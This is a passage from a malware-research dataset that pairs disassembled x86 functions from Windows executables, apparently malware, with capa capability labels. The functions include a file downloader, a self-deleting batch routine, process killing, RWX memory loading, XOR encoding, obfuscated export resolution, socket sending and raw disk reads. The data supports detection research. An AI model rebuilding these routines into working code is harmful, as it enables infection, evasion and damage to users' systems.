joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405fa0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x240
lea eax, [esp + 0x13c]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x148]
push str.svchost.exe
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x4060a3
lea edx, [esp + 0x148]
push 0x409c7c
push edx
call sub.MSVCRT.dll_fopen
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4060a3
lea eax, [esp + 0xc]
lea ecx, [esp + 0x68]
push eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
push ebx
call fcn.00405950
add esp, 0x14
test al, al
je 0x40608b
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.00405a90
add esp, 0x10
mov edi, eax
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x4060a3
mov edx, dword [esp + 0xc]
push esi
lea eax, [esp + 0x6c]
push edx
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
push ebx
call fcn.00405b20
mov eax, dword [esp + 0x24]
push edi
push esi
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x50]
push edx
push eax
call fcn.00405db0
add esp, 0x30
push ebx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x240
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x240
ret

Function at 0x414230
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp eax, dword [esp + 4]
jne 0x414274
mov esi, dword [edx + 0x24]
test al, 0x2d
not al
or al, ah
mov ah, dh
lea eax, [ebx]
sub eax, eax
dec ah
mov edi, dword [edx + 0x1c]
jmp 0x4141ad
add esi, ebx
add edi, ebx
mov eax, dword [esi + ecx*2]
and eax, 0xffff
jmp 0x414310
xor ch, 0x62
lea edx, [edx + ebx]
lea edi, [eax + 0x2d]
mov esi, dword [edx + 0x20]
dec eax
nop
sub al, 0x44
add esi, ebx
xchg ah, al
nop
or ecx, 0xffffffff
jmp 0x41426e
test bh, 0xcc
inc edi
cmp byte [edi], 0
pop eax
jne 0x414265
xor eax, 0xf7c15312
jmp 0x4140db
ret
mov eax, dword [ebx + 0x3c]
mov edx, dword [eax + ebx + 0x78]
jmp 0x4141f2
lea edi, [eax + ebx]
mov esi, esi
wait
je 0x41422c
inc edi
dec edi
test cl, dl
lea eax, [eax]
nop
lea edx, [edx]
xor eax, eax
push eax
shl eax, 4
jmp 0x4143a3
test edi, edi
sub dl, dh
add dl, dh
inc ecx
lodsd eax, dword [esi]
cmp ecx, dword [edx + 0x18]
jmp 0x41424e
nop
mov dl, 0x3d
clc
mov esi, dword [edi + eax*4]
not ecx
test edx, 0x8b677103
or ah, dl
add esi, ebx
mov ecx, edi
ret 4
nop
xchg dword [esp], eax
sub dword [esp], eax
test esp, 0xa230389e
clc
nop
movzx eax, byte [edi]
sub dword [esp], eax
jmp 0x41420f
Function at 0x401010
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40304a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x488
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push 0x14
mov dword [ebp - 0x14], esi
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x18], eax
cmp eax, esi
mov dword [ebp - 4], esi
je 0x40105f
push esi
push esi
push esi
push esi
push 1
push esi
mov ecx, eax
call sub.MFC42.DLL_CInternetSession::CInternetSession
mov edx, eax
jmp 0x401061
xor edx, edx
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x493]
mov byte [ebp - 0x494], 0
push esi
push esi
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push 0x4400002
push 1
mov dword [ebp - 4], 1
push eax
mov ecx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CInternetSession::OpenURL
mov ebx, eax
mov dword [ebp - 4], 1
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edx, dword [ebx]
call dword [edx + 0x50]
mov eax, dword [ebp + 0xc]
push 0x405074
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edx, dword [ebx]
mov edi, eax
add esp, 8
mov ecx, ebx
mov dword [ebp + 8], edi
call dword [edx + 0x38]
mov eax, dword [ebx]
lea ecx, [ebp - 0x494]
push 0x400
push ecx
mov ecx, ebx
call dword [eax + 0x3c]
mov esi, eax
push edi
test esi, esi
jbe 0x401119
push 1
lea edx, [ebp - 0x494]
push esi
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x494]
add esp, 0x10
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp + 8]
add eax, esi
mov dword [ebp - 0x14], eax
jmp 0x4010d0
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [ebx]
add esp, 4
mov ecx, ebx
call dword [eax + 0x54]
test ebx, ebx
je 0x401136
mov edx, dword [ebx]
push 1
mov ecx, ebx
call dword [edx + 4]
mov esi, dword [ebp - 0x18]
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 0x14]
test esi, esi
je 0x4011d0
jmp 0x4011c7
mov edx, dword [esi]
push 1
mov ecx, esi
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4016b0
Capabilities:
Create process on windows
Resume thread
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x748
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x58]
push esi
push edi
mov edi, str.weinsd.bat
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x8000080
mov eax, ecx
mov esi, edi
mov edi, edx
push 2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x74]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401830
lea edx, [esp + 0x160]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x160]
lea ecx, [esp + 0x264]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x264]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov byte [eax], 0
lea eax, [esp + 0x60]
lea ecx, [esp + 0x160]
push eax
lea edx, [esp + 0x164]
push ecx
push edx
lea eax, [esp + 0x374]
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___s__r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [esp + 0x18]
lea edx, [esp + 0x368]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x374]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
mov word [esp + 0x4c], ax
push ecx
push edx
push 0x405084
push eax
push 0x44
push eax
push eax
push eax
lea eax, [esp + 0x80]
mov dword [esp + 0x3c], 0x44
push eax
push 0
mov dword [esp + 0x70], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401830
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xfffffffffffffff1
push ecx
call edi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [esp + 8]
push edx
call esi
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
add esp, 0x748
ret
Function at 0x401b40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4030b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00402cce
mov eax, dword [0x40529c]
mov ecx, dword [0x4052a8]
push eax
push ecx
lea edx, [esp + 0xc]
push str._s_s
push edx
mov dword [esp + 0x3c], 0
call sub.MFC42.DLL_CString::Format
add esp, 0x10
lea ecx, [esp + 8]
call sub.MFC42.DLL_CFileFind::CFileFind
mov eax, dword [esp + 4]
push 0
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 1
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x401c0a
push edi
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CFileFind::FindNextFileA
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CFileFind::GetLength
mov edi, eax
cmp edi, 0x4e20
jle 0x401bd8
mov ecx, dword [esp + 8]
push 1
push ecx
mov ecx, esi
call fcn.00402a40
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 0
call fcn.00402d58
lea ecx, [esp + 8]
mov dword [esp + 0x30], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret
lea ecx, [esp + 8]
mov byte [esp + 0x2c], 0
call fcn.00402d58
lea ecx, [esp + 4]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x24]
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x402600
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x403143
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push edi
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], 0
call sub.MFC42.DLL_CString::MakeUpper
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x402702
push ebp
lea ecx, [esp + 8]
mov dword [esp + 0x10], 0x128
call fcn.00402cce
lea eax, [esp + 0x10]
mov byte [esp + 0x140], 1
push eax
push edi
call sub.KERNEL32.dll_Process32First
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4026ed
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::MakeUpper
mov edx, dword [esp + 0x150]
push 0
push edx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Find
cmp eax, 0xffffffff
je 0x4026dc
mov eax, dword [esp + 0x20]
push eax
push 0
push 0x1f0fff
call ebx
mov esi, eax
test esi, esi
je 0x4026dc
lea ecx, [esp + 0x14]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [esp + 0x14]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebp
lea eax, [esp + 0x18]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40267e
pop esi
pop ebx
push edi
call ebp
lea ecx, [esp + 8]
mov byte [esp + 0x140], 0
call sub.MFC42.DLL_CString::CString
pop ebp
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x134]
xor eax, eax
pop edi
mov dword fs:[0], ecx
add esp, 0x13c
ret 4
Function at 0x4013cf
Capabilities:
Encode data using xor

Disassembly:
jmp 0x411f5d
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x412080
push ebx
push ebp
push edi
mov edi, dword [esp + 0x14]
mov ebx, str.Soviet_aristo_baristo
mov ebp, 0x503778
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x73
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0xc7
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0xf2
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
xor byte [esi + edi], 0x3f
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x43
push ebx
push ebp
call fcn.00403490
add esp, 0x44
push eax
call fcn.004013b6
xor byte [esi + edi], 0xe3
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 2
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0xc7
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
xor byte [esi + edi], 0x85
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
xor byte [esi + edi], 0x2c
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0xd8
add esp, 0x40
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x28
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x6c
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x5e
add esp, 0x24
inc esi
cmp esi, dword [esp + 0x18]
jb 0x411f7b
pop edi
pop ebp
pop ebx
pop esi
ret

Function at 0x402946
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x412674
sub esp, 0x20
mov eax, dword [0x501358]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov edi, dword [eax + esi + 0x78]
add edi, esi
mov ebx, dword [edi + 0x20]
mov eax, dword [edi + 0x18]
add ebx, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x4126f3
mov eax, dword [ebx]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401e2e
push str.Hardline
push 0x503860
call fcn.00402d60
push eax
call fcn.00406082
lea eax, [esp + 0x20]
push 0x36c
push eax
call fcn.00402cc5
add esp, 0x14
cmp eax, dword [esp + 0x38]
je 0x41270d
lea ecx, [esp + 0x14]
add ebx, 4
call fcn.00402982
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x4126a5
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00403030
add esp, 0x20
ret 8
mov eax, dword [edi + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00402982
jmp 0x4126f5
Function at 0x40113c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425044]
jne 0x401146
repz ret
jmp fcn.00403223

Function at 0x40b1f9
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00403533
xor ebx, ebx
cmp dword [0x4274a8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b2ce
push 0x41db88
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40b239
xor eax, eax
jmp 0x40b392
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41db7c
push edi
call esi
cmp eax, ebx
je 0x40b232
push eax
call fcn.004034d0
mov dword [esp], 0x41db6c
push edi
mov dword [0x4274a8], eax
call esi
push eax
call fcn.004034d0
mov dword [esp], 0x41db58
push edi
mov dword [0x4274ac], eax
call esi
push eax
call fcn.004034d0
mov dword [0x4274b0], eax
lea eax, [ebp - 8]
push eax
call fcn.004055c1
test eax, eax
pop ecx
pop ecx
je 0x40b29c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403331
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b2ce
push 0x41db3c
push edi
call esi
push eax
call fcn.004034d0
cmp eax, ebx
pop ecx
mov dword [0x4274b8], eax
je 0x40b2ce
push 0x41db24
push edi
call esi
push eax
call fcn.004034d0
pop ecx
mov dword [0x4274b4], eax
mov eax, dword [0x4274b4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b347
cmp dword [0x4274b8], esi
je 0x40b347
push eax
call fcn.0040353c
pop ecx
call eax
cmp eax, ebx
je 0x40b314
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4274b8]
call fcn.0040353c
pop ecx
call eax
test eax, eax
je 0x40b314
test byte [ebp - 0x18], 1
jne 0x40b347
lea eax, [ebp - 0xc]
push eax
call fcn.004055f8
test eax, eax
pop ecx
je 0x40b32f
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403331
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b33e
or dword [ebp + 0x10], 0x200000
jmp 0x40b378
or dword [ebp + 0x10], 0x40000
jmp 0x40b378
mov eax, dword [0x4274ac]
cmp eax, esi
je 0x40b378
push eax
call fcn.0040353c
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b378
mov eax, dword [0x4274b0]
cmp eax, esi
je 0x40b378
push dword [ebp - 4]
push eax
call fcn.0040353c
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4274a8]
call fcn.0040353c
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4130a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
cmp dword [ecx], eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
je 0x413124
cmp edi, eax
jle 0x4130cf
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
add eax, 1
cmp eax, edi
jl 0x4130c0
lea ebx, [edi + 7]
push ebx
call fcn.00401fd3
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x426130]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x426134]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00406be0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x413128
cmp eax, ebx
jne 0x413128
mov dword [esp + 0xc], 1
jmp 0x413128
mov esi, dword [esp + 0x14]
test esi, esi
je 0x413135
push esi
call fcn.00401dd8
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x414950
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x414a6e
push 0xc00
call fcn.00401fd3
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x414a61
mov eax, dword [esi + 0x3c]
test eax, eax
mov ecx, dword [esi + 0x38]
jl 0x4149c9
jg 0x4149bd
test ecx, ecx
jbe 0x4149c9
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x4149cd
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x4149f7
jg 0x4149e3
cmp ecx, edx
jbe 0x4149f7
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x414a21
jg 0x414a0d
cmp ecx, edx
jbe 0x414a21
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x414a4b
jg 0x414a37
cmp ecx, edx
jbe 0x414a4b
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00418370
mov dword [esp + 0x10], eax
test esi, esi
je 0x414a6e
push esi
call fcn.00401dd8
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x414c40
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
cmp esi, 0xffffffff
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
je 0x414c91
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x414ca0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x4237b8
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.004027e9
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.004023d5
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.004027a0
add esp, 0x14
test eax, eax
je 0x414d2b
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x414e2e
mov eax, 0x426660
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x414d60
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x414d80
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x414d94
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.00401fd3
push edi
mov esi, eax
push 0
push esi
call fcn.00405a30
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x426660
push edi
push esi
call fcn.004027cd
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x414de5
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x422e80
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x414e2c
push esi
call fcn.00401dd8
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0040113c
add esp, 0x314
ret

Function at 0x414ea0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x208], eax
push 0x206
lea eax, [esp + 6]
push 0
push eax
mov word [esp + 0xc], 0
call fcn.00405a30
add esp, 0xc
cmp dword [0x4260b0], 3
jne 0x414f01
push 0x104
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x422fa0
lea edx, [esp + 4]
push 0x104
push edx
call fcn.0040117b
add esp, 0xc
jmp 0x414f10
lea eax, [esp]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea ecx, [esp + 4]
push ecx
push 0x422fa4
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0040113c
add esp, 0x20c
ret